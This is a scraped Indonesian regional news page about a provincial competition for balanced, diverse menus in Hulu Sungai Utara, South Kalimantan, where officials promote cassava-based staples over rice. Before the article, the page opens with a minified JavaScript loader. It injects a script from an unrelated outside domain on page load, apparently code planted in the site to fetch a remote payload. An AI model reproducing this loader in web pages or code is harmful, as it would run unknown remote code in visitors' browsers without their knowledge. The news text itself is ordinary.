(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Lomba Cipta Menu Pangan Beragam Bergizi Seimbang dan Aman (B2SA) tingkat provinsi digelar Dinas Ketahanan Pangan dan Peternakan Provinsi Kalimantan Selatan di Kabupaten Hulu Sungai Utara (HSU), Kamis (18/11/2021).
Kelurahan Kebun Sari, Kecamatan Amuntai Tengah kali ini mewakili kabupaten HSU dalam Lomba B2SA tingkat Provinsi Kalimantan Selatan.
Ketua Tim Penilai B2SA, Rolena Kinawati mengatakan, tujuan lomba B2SA ini untuk penganekaragaman pangan karena kedepan masalah pangan sebagai masalah utama.
“Konsumsi beras kita di Kalsel sudah terlalu tinggi, sehingga bagaimana caranya menurunkan konsumsi beras ini supaya rendah kita mengadakan penganekaragaman pangan lokal,” katanya.
Baca juga : Pasca Banjir, Ular Piton Dievakuasi dari Sebuah Toko di Pasar Keramat
Penganekaragaman pangan ini bisa dari bahan singkong, ubi kayu, ubi jalar, kentang, labu, pisang dan bahan lainnya yang mengandung karbohidrat tinggi.
“Untuk Kalsel sendiri karena konsumsi ubi kayunya tinggi, sehingga tahun ini kita mengadakan lomba ini makanan pokok singkong yang diolah menjadi tepung, kemudian diolah menjadi mie yang selanjutnya bisa diolah menjadi mie kuah atau mie goreng,” bebernya.
Pemerintah melakukan program Karangan Pangan Lestari yang sasarannya kelompok tani atau wanita tani yang ada di desa-desa.
Mereka diberi bantuan pemerintah berupa uang yang kegiatannya melakukan penanaman di pekarangan, demplot ataupun rumah bibit.
Baca juga : Peduli UMKM Terdampak Pandemi, FMIPA ULM Siapkan Pasar Online untuk Produk Kuliner
“Pekarangan itu nantinya akan menghasilkan sayur-sayuran, sayur-sayuran itulah bisa dikonsumsi untuk mereka konsumsi dan terjamin, serta aman dikarenakan tidak menggunakan bahan kimia,” kata Rolena.
Adapun untuk penyajian makanan yang lengkap dan bergizi adalah makanan pokok yang terdiri dari karbohidrat yang tidak selalu beras.
“Karbohidrat bisa dari bahan non beras maupun non terigu, gizi yang berimbang setiap makanan, kalau semua itu diterapkan masyarakat bisa sehat dan aman,” pungkasnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.